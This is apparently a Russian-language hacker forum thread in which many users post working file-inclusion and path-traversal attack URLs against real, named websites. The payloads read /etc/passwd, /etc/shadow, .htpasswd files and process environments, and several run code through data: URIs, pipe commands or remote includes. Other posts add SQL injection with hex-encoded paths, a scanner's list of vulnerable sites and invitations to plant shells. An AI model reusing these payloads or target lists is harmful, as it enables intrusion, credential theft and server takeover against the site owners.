PHP Иньекции

[Ctacok]

http://www.matchmaking.at/safe/index.php?file=./index.php
LFI
Кто то уже постил инклюд на этом сайте, но в другом месте, на который уже нету ссылок на главной :)

[keng]

http://www.media1ads.com/index.php?page=../../../../etc/passwd
http://www.olarkin.com/main/dev/index.php?page=../../../../../../etc/passwd

[Ctacok]

http://www.kenyonreview.org/kro_full.php?file=../index.php

Ошибки из-за того что уже в kro_full.php уже обьявленно mysql_select_db() и mysql_query().

http://www.ecpat.net/worldcongressIII/print.php?file=../../../index.php

И опять, ошибка из-за того что уже обьявленна функция.

[hackmon]

http://dl-stem.kiev.ua/index.php?id=main&page=../index

[cl1]

http://www.tolkynzabirova.kz/press/index.php?file=../../../../../../../../../../../../../etc/passwd

[Bramin]

http://www.astrocentr.ru/index.php?przd=drjd&id=./index

[547]

http://www.expert-line.com/static.php?file=../../../../../../../../etc/passwd

http://www.expert-line.com/static.php?file=../../../../../../../../etc/group

[nikp]

http://www.siemens-ha.com.cn/download.php?url=../../../../etc/passwd%00

http://www.blaineywellness.com/index.php?file=../../../../../../../../etc/passwd%00

[Bb0y]

http://www.truthaboutevolution.net/index.php?page=../../../../etc/passwd
==============================
http://www.plagron.fr/index.php?page=../../../../etc/hosts

[Twoster]

http://www.nylho.com/index.php?content_file=../../../etc/passwd
http://www.waterstarsauna.com/support/index.php?include_file=../../../../../../../../../../etc/passwd
http://www.ontherun.ca/articles.php?sort=name&dir=/&file=etc/passwd
http://www.advantica.hr/?file=/usr/local/apache/conf/htpasswd-apache-status
http://www.kegerator.net/index.php?file=/etc/passwd
Проявляю активность! =)

[[x60]unu]

http://datinginukraine.com/privacy.php?language_id=../../../../../../etc/passwd%00

http://www.simchaonline.com/privacy.php?language_id=../../../../../../etc/passwd%00

[547]

http://yungdarius.comli.com/page.php?url=http://google.com

[nikp]

http://www.cis-promotion.com/index.php?file=../../../../../../../../../etc/passwd

http://qgotchi.sourceforge.net/index.php?page=../../../../../../../../etc/passwd%00

[gromoza]

http://vsmarts.com/iSupport/index.php?

include_file=../../../../../../../../../../../../../../../../../../../../../etc/passwd

[Strilo4ka]

http://www.greenbergresearch.com/index.php?ID=-2398+union+select+1,2,3,4,5,6,7,8,9,10,11,12,0x2f2 e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f7 06173737764,14--+


данные фильтруються потому и HEX вид.
Можно инклудить, здесь /../../../../../../etc/passwd
переводить, например, через http://www.yellowpipe.com/yis/tools/encrypter/index.php

[mailbrush]

данные фильтруються потому и HEX вид.
Можно инклудить, здесь /../../../../../../etc/passwd
переводить, например, через http://www.yellowpipe.com/yis/tools/encrypter/index.php
1. Это не PHP, а SQL - инъекция.
2. Это чтение файла через SQL-Инъекцию, а не инклюд.
3. Данные не фильтруются, а слешируются.

[[underwater]]

http://burg-pension.de/index.php?page=../../../../../../../../../../etc/passwd

http://www.funnelwebcentral.org/articles.php?action=article&article=../../../../../etc/passwd

http://www.tonie.net/index.php?p=../../../../../../../etc/passwd

http://www.colombopage.com/cgi-bin/show_ach.cgi?../../../../../../../../../../../etc/passwd

http://www.argad.org/cgi-bin/sito.cgi?file=../../../../../../../etc/passwd

[2pick]

http://www.moderntalking.pl/arts/index.php?strona=/etc/passwd
Форум есть... ток phpbb аватарки не проинклудить :(

[Aртем]

http://www.klm-mra.be/klm-new/engels/main01.php?id=menu_links/../../../../../../../../../../../../../../../../../etc/passwd%00

[Bb0y]

http://www.iusspavia.it/news.php?id=451&menu=../../../etc/passwd

[nikp]

http://www.exclusivalimpeza.com.br/index.php?incl=../../../../../../../../etc/passwd%00&idmenu=219

http://www.exclusivalimpeza.com.br/index.php?incl=../../../../../../../../proc/self/fd/2%00&idmenu=219

[Bb0y]

http://www.impan.pl/%7Eecmtb11/index.php?file=../../../../etc/passwd

[$n@ke]

http://www.inmadia.com.br/index.php?lURL=/etc/hosts
open_basedir restriction in effect

[Pashkela]

http://www.smb.spk-berlin.de/ifm/index.php?ls=10&topic=Home&lang=../../../../../../../../../../../../../../etc/passwd%00&te=ja&tf=ja

[Bb0y]

http://izhpost.ru/index.php?PAGE=../../../../etc/passwd

[BlackSun]

f32.aaa.livedoor.jp/~azusa/exp.php?f=http://google.com/t&ttl=%24GLOBALS

[547]

http://iaald.org/cee/index.php?page=index.php

jokester Покажи переход на дирректорию выше

ну если я тебя правильно понял...

http://iaald.org/cee/index.php?page=/httpd/html/iaaldorg/www/cee/index.php

[HAXTA4OK]

http://www.mercadaodascestas.com/index.php?page=/etc/passwd

[BlackSun]

http://www.opensc.ws/vbseo.php?vbseoembedd=1&vbseourl=customavatars//avatar7916_2.gif

[j0ker13]

http://library.fotostrana.ru/?page=../../../../../../../../../../etc/passwd%00

[nemaniak]

http://www.diesiebdruckwerkstatt.at/shop/scripts/text.php3?id=5b91d08a713f80cdd3b2283455384584&lan=de&inc=/etc/passwd

http://www.salondelnorte.de/shop/scripts/text.php3?id=7df5596cf29a029bad99ca2deefb6b5d&lan=de&inc=[url]&no_cache=556763e5e707dd70664cbf27be88ca68

http://www.egold-service.com/scripts/text.php3?id=401fa7a9c6f1a5fe52b1842582f7f8ed&lan=de&inc=[url]&no_cache=0c807a554583782d7ea885e1ba194049

[nikp]

http://www.infragard.net/press/page.php?page=../../../../../../../../../../etc/passwd&mn=4&sm=4-1

[HAXTA4OK]

http://princeofpersia.org/index.php?open=/etc/passwd
http://www.spannend.nl/index.php?open=/etc/passwd
http://www.girls4man.nl/index.php?open=/etc/passwd

[HAXTA4OK]

http://www.interspeech2007.org/submissions/index.php?f=/etc/passwd
http://caladenia.net/caladenia/index.php?F=/etc/passwd&Fimg=041

[Root-access]

LFI:
http://www.newmediamedicine.com/forum/vbseo.php?vbseourl=customavatars/avatar22795_1.gif&vbseoembedd=1
http://www.organiclinker.com/forums/vbseo.php?vbseoembedd=1&vbseourl=avatars/mike.gif
http://www.techsupportforum.com/vbseo.php?vbseoembedd=1&vbseourl=customavatars/avatar64784_3.gif
http://www.wargamez.com.ar/foro/vbseo.php?vbseoembedd=1&vbseourl=avatars/zombipatagonico.gif
CE:
http://www.pokerimestari.com/vbseo.php?vbseoembedd=1&vbseourl=data:,%3C?phpinfo();?%3E
Весёлое и никудышное исполнение кода:
http://cubopanel.com/?modulo=phpinfo
Нераскрученные инклуды на том же серваке (идёт экранирование, поэтому надо слешировать, но прав все равно не хватает выше подняться):
http://asamsl.com/pages.php?p='
http://challisindoorsoccer.com/pages.php?p='
http://fvcsl.com/pages.php?p='

[nikp]

http://www.meche-rebelle.fr/index.php?page=../../../../../etc/passwd%00

[Alf0x0ns]

Читалка:
www.wjbdradio.com/index.php?f=../../../../../../../etc/passwd%00
www.touchwoodkitchen.co.uk/index.php?f=../../../../../../../etc/passwd
www.bsproducts.co.uk/index.php?f=../../../../../../../etc/passwd
www.myegypt.co.uk/index.php?f=../../../../../../../etc/passwd
www.benalycards.com/index.php?f=../../../../../../../etc/passwd
www.guitaremporium.co.uk/index.php?f=../../../../../../../etc/passwd
www.enercostore.com/index.php?f=../../../../../../../etc/passwd
www.caroldadams.com/index.php?f=../../../../../../../etc/passwd

[nikp]

http://teos.ficp.ac.ru/rusbank/index.php?text=../../../../../../../../../../etc/passwd%00

[Bb0y]

http://www.aj-e.de/index.php?page=../../etc/passwd
and
http://www.dba-uvh.nl/index.php?id=news&page=../../../etc/passwd
and
http://nonsociety.org/new/index.php?page=../../../../etc/passwd

[nikp]

http://derland.ru/index.php?read=../../../../../../../../../../etc/passwd
PayPal Clone

[tymbys]

Сайт МГУ:
http://msu.mnc.ru/view.php?dir=/etc/passwd%00
http://msu.mnc.ru/view.php?dir=/proc/self/status%00
http://msu.mnc.ru/view.php?dir=/proc/self/fd/11%00

[HAXTA4OK]

http://www.shamrockboats.com/content.php?p=../../../../../etc/passwd
http://homepage.danny-bell.de/index.php?p=/etc/passwd

[Root-access]

Оф. сайт GuppY CMS:
http://freeguppy.org/thread.php?lng=fr&pg=213632&fid=1&cat=200&c=cGhwaW5mbygpOw==
(В название топика внедрён php-код)

[HAXTA4OK]

http://utbookstore.tennessee.edu/uccs/index.php?p=../../../../etc/passwd%00

[SEWERN]

http://www.cheritononline.co.uk/page.php?xPage=../../../../../../../../../../../../../etc/passwd

[nikp]

http://www.daniel.mitchell.name/cameras/index.php?page=../../../../../../../../../../etc/passwd%00
http://www.daniel.mitchell.name/cameras/index.php?page=../../../../../../../../../../proc/self/fd/2%00

[bersegos]

http://photo.mnc.ru/?path=/../../../../../../../../etc/passwd%00

[keng]

http://www.madlassgrin.co.uk/index.php?page=../../../../../etc/passwd

http://www.kceducation.org.uk/index.php?page=../../../../../../../etc/passwd

[Pashkela]

http://fortminor.ru/index.php?page=../../../../../../../../../../../../../../etc/passwd%00&id=main

http://lprussia.com/index.php?page=../../../../../../../../../../../../../../etc/passwd%00&id=music&this_id=text

http://www.sharovnya.com/index.php?page=../../../../../../../../../../../../../../etc/passwd%00

[nikp]

http://news.wgu.edu/news.php?include=../../../../../../../../../../etc/passwd%00

[keng]

http://tom-grad.ru/index.php?page=/etc/passwd
http://www.warcraft-gold.ru/index.php?page=index.php
http://belfilarmony.ru/index.php?page=/etc/passwd

[547]

http://www.ucam.ac.ma/ciro10/pagesa/index.php?page=Reservation&pageinf=../../../../../proc/self/status

[Red_EYEs]

http://163.13.119.23/page.php?file=C:\boot.ini

[Red_EYEs]

http://www.boyworld.net/page.php?file=http://google.ru%00 заливай народ шел этим пидарюгам

[FAPSI]

Залика файлов
http://www.nbns.ru/bin/view.php?dir=trash/

[xoren]

http://www.glovesinabottle.com/news.php?include=../../../../../../../../../../etc/passwd%00
http://news.joelmorris.com/news.php?include=../../../../../../../../../../etc/passwd%00

[Bramin]

http://www.skincarenet.org/news.php?include=../../../../../etc/passwd%00

[t3zo]

http://www.vdrev.ru/page.php?p=/etc/passwd

http://www.vdrev.ru/page.php?p=page.php


http://www.e-quilibres.net/pages/page.php?rub=gen&p=page.php


http://www.e-quilibres.net/pages/page.php?rub=gen&p=page.php

[t3zo]

*************************** !USArmy! ***********************

https://qmo.amedd.army.mil/ptsafety/anticoagulants/anticoags.php?dir=c://


П.П.С. НЕ НЕСУ ОТВЕСТВЕННОСТИ: НИ ЗАКОКОЕ ДЕЙСТВИЕ И НЕ ЗАКОГО!!!

[Jerri]

http://sphirewall.net/index.php?page=../../../../../../../../../../../etc/passwd

http://safe-mailbox.com/mwm/index.php?ACTION=../../../../../../../../../../etc/passwd

[Sams]

http://www.x2studios.com/index.php?page=../../../../etc/passwd%00

[.:[melkiy]:.]

http://www.kino.lg.ua/index.php?page=../../../../etc/passwd

http://home.divetrade.ru/magazin/index.php?page=/etc/passwd

[Red_EYEs]

http://tonextstep.com/index.php?page=/home/mkfzvto123/.cshrc

[rikko]

вобщем, написал простой многопоточный сканер php инклюдов(только чек на глобальный инклюд), просто ради интереса чекнул 30к ссылей. сканер быстрый (на все ушло где-то 15 мин) вот результат:

http://www.jgrossco.com/index.php?page=[url]
http://www.phyllischubb.com/index.php?page=[url]
http://www.fanglewurzle.com/index.php?page=[url]
http://www.ladieswhotravel.co.uk/index.php?page=[url]
http://www.traceymcnee.com/index.php?page=[url]
http://www.otmd-kongre.com/content.php?p=[url]
http://www.melanieluckes.com/index.php?file=[url]
http://www.jtmusicinc.com/index.php?page=[url]
http://www.fortworthmarketinfo.com/index.php?file=[url]
http://www.terreinmotosrl.com/index.php?open=[url]
http://www.snuginsnow.com/index.php?p=[url]
http://www.chinaprintingtoday.com/index.php?f=[url]
http://www.anihotel.com/index.php?p=[url] - PR5
http://motel-chayka.ru/index.php?p=[url]
http://www.mycigar-online.com/index.php?page=[url]

если кто то хочет помочь, подсказать как его дальше развивать - отпишитесь в личку. быстро реализую...

[Red_EYEs]

http://www.niteclubs.de/index.php?open=[url]
http://www.pulplivemusik.de/index2.php?open=.htaccess
http://www.ochsenfest.de/index.php?open=index

[Red_EYEs]

http://oslo.bikini-web.com/freetourNuevo.php?page=../../public_html/password/.htpasswd

[SEWERN]

http://demo.joomlart.com/extensions15/index.php?option=com_janews&controller=../../../../../../../../../../etc/passwd%00
http://www.bashtest.ru/index.php?option=com_janews&controller=../../../../../../../../../../etc/passwd%00

[Bb0y]

http://www.france-etuves.com/FR/index.php?p=../../../../etc/passwd
http://www.paseed.gr/index2.php?load=../../../../../etc/passwd

[daniel_1024]

от меня:
http://lpsc.in2p3.fr/atlas/morel/index.php?p=/etc/passwd
http://www.weeblackskelf.co.uk/label/main.php?x=artists&y=/../../../../../etc/passwd
http://www.mineralogicalassociation.ca/index.php?p=26&page=/../../../../../../../etc/passwd
http://www.bankoo.es/index.php?action=/etc/passwd%00

http://www.sport-surfaces.co.uk/index.php?page=C:\boot.ini%00

[SEWERN]

http://www.stack.bham.ac.uk/stack/documentation.php?action=/../../../../../../../etc/passwd%00

[daniel_1024]

Local file inclusion:
http://www.sb-abramowski.gpsur.de/index.php?langid=/../../../../../../../etc/passwd%00
http://www.csritalia.com/template.php?pagina=prse*ccc*prod_sel&id_nuova_lingua=/../../../../../../etc/passwd%00
http://www.quemundo.com/index.php?pagina=/../../../../../../../../../../../../etc/passwd
http://www.mrautomacao.info/index.php?pagina=/../../../../../../../../etc/passwd

[Ctacok]

http://www.paxtoncat.com.au/index.php?page=../index

http://www.ingfoundation.com.au/main.php?page=lfi

http://www.yappmobile.com.au/index.php?page=../../LFI

http://soulsearchers.spheresoflight.com.au/index.php?page=LFI

http://www.limelight.org.au/index.php?page=archive&sub_page=../index.php
http://kmsmith.com.au/index.php?page=LFI

[warlok]

http://www.ware-house.co.jp/index.php?page=../../../../../../../../../../../../../../etc/passwd%00
http://www.multi.com.br/?pg=../../../../../../../../../../etc/passwd%00
http://www.partnersinpreservation.com/boston/index.php?sec=../../../../../../../../../../../../../etc/passwd%00&locID=16
http://www.sports-emotions.ch/index.php?cat=../../../../../../etc/passwd%00&lang=ge

[Ctacok]

http://www.ombudsman.mos.ru/index.php?page=contaAct'+union+select+1,2,3,4,5,6, 7,8,9,10,0x4c464900+from+information_schema.tables/*

[daniel_1024]

http://www.bkmlojistik.com.tr/eindex.php?Path=/etc/passwd
http://evan.hotani.net/poll/index.php?link=/etc/passwd%00
http://www.spangenkoenig.ch/index.php?link=/../../../../etc/passwd%00
http://apu.com.ua/content.php?c=/../../../../../../../../../../etc/passwd&lang=ukr&news=links
http://www.auto-gyro.com.ua/index.php?lang=/../../../../../../etc/passwd%00
http://www.hotelesaustralis.com.ar/destinos.php?lang=/../../../../etc/passwd%00
http://www.sciencesmath-paris.fr/temoignages.php?lang=/../../../../../../etc/passwd%00
http://www.davinomixer.it/index.php?lang=/../../../../../etc/passwd%00
http://www.wyr.com.ua/index.php?lang=/../../../../../../../etc/passwd%00
http://zunn.it/index.php?lang=/etc/passwd%00
http://www.watchme.in/serve/?goto=/etc/passwd&lang=english&show=15&pageno=2
http://www.gayovich.com.ua/index2.php?link=/etc/passwd%00
http://blog.hotani.net/articles/index.php?link=/etc/passwd%00
http://www.tabu.band.pl/index.php?link=/etc/passwd
http://ctconstructii.ro/site/old_04/index.php?lang=/etc/passwd%00
http://juedisches-museum.ch/content.php?lang=/../../../../../etc/passwd%00
http://www.bonnemaman.ch/index2.php?lang=/etc/passwd%00
http://juedisches-museum.ch/content.php?lang=/../../../../../etc/passwd%00&t=2
http://www.snowkiting.ch/index.php?lang=de&site=/etc/passwd%00
http://juedisches-museum.ch/content.php?/../../../../../etc/passwd%00=2&t=4
http://mkc-vertspapiri.lv/main.php?lang=/../../../../../etc/passwd%00&ld=txt&vol=8
http://tom-grad.tomsk.ru/index.php?page=/etc/passwd
http://www.ims.spb.ru/index.php?page=/../../../../etc/passwd
http://department.fzu.cz/ofm/sma//index.php?file=/etc/passwd

[Konqi]

local include

http://www.instm.it/test_new_version/index.php?targetpage=../../../../../../../etc/passwd

server- Apache/2.2.8 (Ubuntu) :D

[s_p_a_m]

http://www.krog.dp.ukrtelecom.ua/information/services/customers/index.php?page=adsf

[Konqi]

http://www.madhatt3r.com/files.php?action=open&&parameter1=../../../../../../../../../etc/passwd

;)

[$n@ke]

AOL
может новый способ замены нульбайта прокатит..

http://scqa-d03.stream.aol.com/support/docs/index.phtml?language=/etc/passwd&layout=print&prevlayout=normal

[Konqi]

http://www.nni.ie/v2/broad/portal.php?content=../../../../../../../etc/passwd

http://www.unic.org.ar/index.php?content=../../../../../../../etc/passwd

http://www.tpfnetwork.org/home.php?contenido=../../../../../../../etc/passwd

[547]

shadow открыт на чтение:)
http://www.quemundo.com/index.php?pagina=../../../../../../../../../../../../../../../etc/shadow
http://jamesdeangallery.com/Store/shop.php?load=../../../../../../../etc/passwd
http://hege-online.com/shop/scripts/text.php3?id=fxbzcdjrnwrwqk&lan=&inc=../../../../../../../../etc/passwd

[SnooPy]

http://www.wf-online.ru:80/includes/js_get.php?js=../../../../../../../../etc/passwd

[life_glider]

Эти люди создают сайты:
http://www.kreazone.ru/sitedetails.php?SITEID=alttech.gardi&IMAGEID=../../../../../../../usr/home/kreazone/.cshrc//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

PS оффтопик здесь энциклопедия уязвимых сайтов:http://www.kreazone.ru/sites.php

[Konqi]

http://www.futurestudies.az/oxu.php?xeber=../../../../../../../etc/passwd

[Konqi]

инклудим картинку :)

http://www.ikisahil.com/content/index.php?link=../../../../../../../var/www/ikisahil/public_html/news_images/news_5828_1.jpg

[Konqi]

http://www.jeffersmusic.ie/organs/index.php?page=/etc/passwd

[Pashkela]

http://www.thompsonhistory.co.uk/cgi-bin/page.pl?page=|ls%20-la|

[Agel Nash]

http://baskov.ru/go/dwn.php?fn=../index.php

[Konqi]

http://ysa.rxpinoy.com/index.php?page=../../../../../../../../../etc/passwd

[HellFire]

http://www.summerschoolalpbach.at/index.php?file=/etc/passwd

[Konqi]

http://www.mcxapc.org/static.php?file=../../../../../../../etc/passwd
http://www.alexandrejoseph.com/projects/dsgp/?file=../../../../../../../../../etc/passwd
http://www.realestate.bnpparibas.fr/pages/download.php?file=/etc/passwd
http://www.csi.ensmp.fr/WebCSI/4S/prizes/download_prizes.php?file=../../../../../../../../../etc/passwd
http://www.ukskeptics.com/explanation.php?dir=articles/explanations&article=../../../../../../etc/passwd
http://www.stayireland.ie/file.php?file=../../../../../../../../../../etc/passwd
http://www.melosi.it/script/source.php?FILE=../../../../../../../../../../etc/passwd
http://www.breastmilan.com/2008/download.php?file=../../../../../../../../../../etc/passwd
http://www.elesis.gr/php/download.php?file=../../../../../../../../../etc/passwd
http://www.kfar-masaryk.org.il/history/eindex.php?file=../../../../../../../../../etc/passwd
http://www.newgeneration.lv/rus/dla_pressi/interv_u_pastora/in_site/in_site/tools/transfer.php?file=../../../../../../etc/shadow
http://www.admatec.ch/download.php?file=../../../../../../../../etc/passwd
http://www.danubia.hu/file_letoltes.php?file=../../../../../../../../../../../etc/passwd
http://www.redfred.hu/page/file.php?file=../../../../../../../../../../../etc/passwd
http://www.iws.ie/stg/public/download.php?site=site1515&file=../../../../../../../etc/passwd
http://www.acceleratingperformance.ie/download.php?file=../../../../../../../../etc/passwd
http://www.arkskincare.com/download.php?file=../../../../../../../../../etc/passwd
http://www.ryansautomotive.ie/file.php?file=../../../../../../../../../etc/passwd
http://www.irishlungfoundation.ie/includes/dw.php?file=../../../../../../../etc/passwd
http://www.consultativecouncilonhepc.ie/downloads.php?file=../../../../../../../etc/passwd
http://www.leakdetection.ie/stg/public/download.php?site=site1418&file=../../../../../../../etc/passwd
http://www.joeotoole.net/stg/public/download.php?site=site1049&file=../../../../../../../../../etc/passwd
http://www.kjellberg.sk/files/download_file.php?file=../../../../../../../../etc/passwd
http://www.bressner.co.uk/downloadpdf.php?file=../../../../../../etc/passwd
http://journals.cambridge.org/downloadfile.php?file=../../../../../../../../etc/passwd
http://www.exantia.co.uk/download.php?file=../../../../../../../../etc/passwd
http://www.omegawatches.com/download.php?file=../../../../../../../etc/passwd
http://www.drps.org/forcedownload.php?file=../../../../../../../etc/passwd
http://ncesubsea.no/download.php?file=../../../../../../../etc/passwd
http://www.elesis.gr/php/download.php?file=../../../../../../../../etc/passwd
http://bibus.com.ua/download.php?file=../../../../../../../../../etc/passwd
http://www.teachingclimatechange.com.au/file.php?file=../../../../../../../../etc/passwd
http://www.oceanblueherveybay.com.au/assets/download.php?file=../../../../../../../../etc/passwd
http://olympia-business.com/html/Download/index.php?file=../../../../../../../../etc/passwd
http://www.refrachem-bg.com/site/show.php?file=../../../../../../../etc/passwd
http://www.adis.bg/save_file.php?file=../../../../../../../../etc/passwd
http://www.adept-bg.com/gallery/register.php?file=../../../../../../../../etc/passwd
http://basesestates.com/index.php?file=../../../../../../../../etc/passwd
http://www.park-vitosha.org/main.php?act=html&file=../../../../../../../../etc/passwd
http://www.indexaward.dk/download.php?file=../.././../../../../../etc/passwd
http://www.st-feuillien.com/download.php?file=../../../../../../../../etc/passwd
http://www.orpheusinstituut.be/downloadfile.php?file=../../../../../../../../etc/passwd
http://escher.elis.ugent.be/publ/Edocs/doc.php?file=../../../../../../../../etc/passwd
http://www.faro-dental.de/download.php?file=../../../../../../../../etc/passwd
http://www.microstep.be/download.php?file=../../../../../../../../etc/passwd
http://www.templatekit.com/tstore/wrapper.php?file=../../../../../../../../etc/passwd
http://www.evel1.com/Shop/wrapper.php?file=../../../../../../../../etc/passwd
http://www.salda.lt/download2.php?fname=Technical%20data.pdf&file=../../../../../../../../etc/passwd
http://pgt.visaginas.com/get_file.php?file=../../../../../../../../etc/passwd
http://sps.com.cn/downpdf.php?file_path=../../../../../../etc/passwd
http://www.fcmscsp.edu.br/posgraduacao/cursos/down.php?file=../../../../../../../../../etc/passwd
http://www.cnpdia.embrapa.br/rbfv/pdfs/download.php?file=../../../../../../../../../etc/passwd
http://www.caa-telco.com/index.php?page=../../../../../../../../../../etc/passwd
http://www.sungrowpower.com/downpdf.php?file_path=../../../../../../etc/passwd
http://download.tvkdiana.pl/explorer/explorer.php?file=../../../../../../etc/passwd
http://www.ziggi.pl/pdf_download.php?file=../../../../../../../etc/passwd
http://www.mercator-e.pl/en/lib/tmp.php?file=../../../../../../../etc/passwd
http://www.embwise.com/common/download.php?file=../../../.././../../../../etc/passwd
http://www.indianspices.com/php/downloadfile.php?file=../../../../../../../../../../etc/passwd
http://www.novarsa.com/force_download.php?file=../../../../../../../../etc/passwd
http://www.acehrecoveryforum.org/library/download.php?file=../../../../../../etc/passwd
http://www.ahgwa.com.au/includes/download_file.php?file=../../../../../etc/passwd
http://www.dexterton.com/download.php?file=../../../../../../../etc/passwd

60+3

[547]

http://www.dprogram.cz/PROKES/publ/load.php?f=/data/www/virtuals/dprogram_cz/html/PROKES/publ/load.php

[$n@ke]

http://www.djo.harvard.edu/print.php?url=http://site.com/shl

едаааададада

[Konqi]

http://www.voicefinder.net/addpac_kor2/down.php?file=../../../../../../../etc/passwd
http://www.alexandrejoseph.com/projects/dsgp/?file=../../../../../../etc/passwd
http://www.ove-national.education.fr/index.php?lang=fr&page=../../../../../../../etc/passwd

[Greaves]

http://www.training-sscsworld.com/softwares/paypal/index.php?read=../../../../../../../../../../proc/self/environ

http://www.worldwidepay.com/index.php?read=../../../../../../../../../../var/cpanel/cpanel.config

http://www.spfldcycling.org/schedule.php?incl=../../../../../../../../../../../../etc/passwd

[Financier]

http://www.racketlon.co.uk/news.php?id=/etc/passwd

[BrainDeaD]

http://www.erh.noaa.gov/okx/readtext.php?file=../../../etc/passwdPR 7

[BaleHoK]

www.berlin.de/verwaltungsakademie/programm/gesamt_mj.php?year=../../../../../../etc/passwd%00
www.berlin.de/special/reisen/leserreisen/global/src/web/index_ssl.php?Path=/../../../../../../etc/passwd

[BrainDeaD]

любителям симпсонов))
http://www.springfieldohio.net/news/results.php?file=../../../../etc/passwd
PR 4

[Konqi]

http://www.futbol.co.cr/main.php?action=&catid=46&template=../../../../../../../etc/passwd

[wildshaman]

http://abit.ifmo.ru/?page=../../../../../index.php%00

[Konqi]

http://www.x5musicgroup.com/prelisten/playlist.php?file=../../../../../../../../../etc/passwd

;)

[BrainDeaD]

сегодня в ассортименте Бразилия

http://www.premiosindusfarmaqualidade.org.br/voto/index.php?include=../../../../../etc/passwd
http://www.prevcaixa.com.br/index.php?include=../../../etc/passwd
http://www.cursomaisroo.com.br/new.php?include=../../../etc/passwd
http://www.consultebh.com.br/index.php?include=../../../etc/passwd

[Bb0y]

http://webparadise.soft-in.ru/index.php?namepage=[url]
расширение инклудироваемого файла должно быть .php, нуллбайтом никак не обрежешь
пример: http://webparadise.soft-in.ru/index.php?namepage=http://forum.antichat.ru/index

[BrainDeaD]

http://webparadise.soft-in.ru/index.php?namepage=[url]
расширение инклудироваемого файла должно быть .php, нуллбайтом никак не обрежешь
ОСТОРОЖНО! туда уже трояна залили!

дабы не только оффтопить, вот от меня:
http://www.mathxpert.com/about.php?include=../../../../etc/passwd
PR5

[Bb0y]

http://www.metamatiamou.gr/index.php?page=[url]
расширение инклудируемого файла должно быть .html

[BrainDeaD]

http://www.wiknet.us/services/technicalsupport.php?include=../../.htpasswd-admins

[Bb0y]

http://www.tax.vsem.com.ua/index.php?page=[local file];&idnn=2958
[ windows ]

[Ctacok]

http://extension.entm.purdue.edu/eseries3/view.php?article=view.php


http://www.mcli.dist.maricopa.edu/learnshops/active/outline.php?id=abcd/../../index.php

[Bb0y]

http://www.clownorama.com/index2.php?load=../../../../../etc/passwd

[Konqi]

http://www.pressepapiers.fr/download.php?file=../../../../../../../../etc/passwd

PR-5

[Bb0y]

http://www.brucehonda.com/page.php?page=[url]
расширение инклюдируемого файла: любое, нулл байт не нужен
пример:
http://www.brucehonda.com/page.php?page=http://forum.antichat.ru/index.php
шелл ваш)
http://www.nlcindia.co.in/index.php?file_name=../../../../etc/passwd
http://www.jrodrigues.com/index.php?file=../../../../etc/passwd&shownew=72

[Konqi]

http://amrel.obspm.fr/bommier/index.php?page=../../../../../../../../../etc/passwd
http://www.dstewartedu.co.uk/pr-display.php?page=../../../../../../../etc/passwd

[X-3me]

http://svaltera.zp.ua/index.php?inc=../../../../../../../../etc/passwd
http://www.iaald.org/index.php?page=../../../../../../../../httpd/html/iaaldorg/www/index.php

[Konqi]

http://www.headspingames.com/index.php?page=../../../../../../../etc/passwd

http://www.philippinebeekeeping.com/index2.php?page=../../../../../../etc/passwd

http://www.weetwatikeet.nl/index.php?page=../../../../../../etc/passwd

http://www.inspiration4you.eu/en/print.php?page=../../../../../../etc/passwd

-----------------------------------------------------

http://www.helsinkirugby.org/index.php?page=news&story=../../../../../../../../etc/passwd

xaxaxa server chroot-или

http://www.helsinkirugby.org/index.php?page=news&story=../../../../../../../../var/chroot/home/content/97/5735397/html/clubhouse/index.php

а вот и вам phpinfo :)

http://www.helsinkirugby.org/phpinfo.php

можно и так

http://www.helsinkirugby.org/index.php?page=news&story=../../../../../../../../var/chroot/home/content/97/5735397/html/phpinfo.php

[547]

http://www.aiesec-berlin.de/KDK/index.php?load=../../../../../../../../etc/passwd

[BrainDeaD]

http://www.sportenspelweek.nl/index.php?include=H:\Croot\sesw\index

расширение .php
нульбайт работает, но . заменяется на *

[X-3me]

http://www.iftomm.ho.ua/index.php?../../../../../../etc/passwd
http://www.atlllc.com/atlantis.php?page=/etc/passwd%00
http://www.mobileshop-online.com/index.php?page=../../../../../../etc/passwd
http://www.ougerman.com/Calendars/index.php?page=../../../../../../etc/passwd
http://cyclecontrol.com/index.php?page=/hermes/bosweb/web040/b406/sl.ianyoung/public_html/index
http://www.musee-airborne.com/eng/page.php?page=../../../../../../var/www/html/sites/webcommedia14/musee-airborne.com/html/eng/page
http://www.statusecclesiae.net/status/common.php?pagina=../../../../../../../../etc/passwd
http://foto.denhaag.org/PHP/pagina.php?link=../../../../../../../../etc/passwd

[Konqi]

http://davidhildebrand.org/index.php?page=../../../../../../etc/passwd

http://www.cedarfallstrinity.org/index.php?page=../../../../../etc/passwd

http://www.sambo-asia.org/en/index.php?page=https://forum.antichat.ru

[BrainDeaD]

http://www.pwshrunninwolves.org/active/2006CC/shell.php?include=[url]

[Konqi]

весит 3.7mb

http://www.efah.org/pdfcount.php?fln=../../../../../../etc/passwd

[Virologist]

;)
http://www.1soveti.ru/page.php?link=../../../../../proc/self/status%00
http://www.tamadainfo.ru/page.php?open=../../../../../proc/self/status%00

[Konqi]

http://www.comundus.net/main.php?cat=3&file=../../../../../../../../home/www/web120/html/members/.htpasswd

PR-7

[547]

http://www.ruffneckattack.com/shop.php?shop=../../../../../../../../../etc/passwd

DOS через инклуд:

http://www.m-max.ru/page.php?open=../page.php%00

http://www.jtlighting.com/index.php?show_file=/home/jtlight/public_html/index.php

[BrainDeaD]

http://www.fmos.ru/firm.php?id=index.php

[Bb0y]

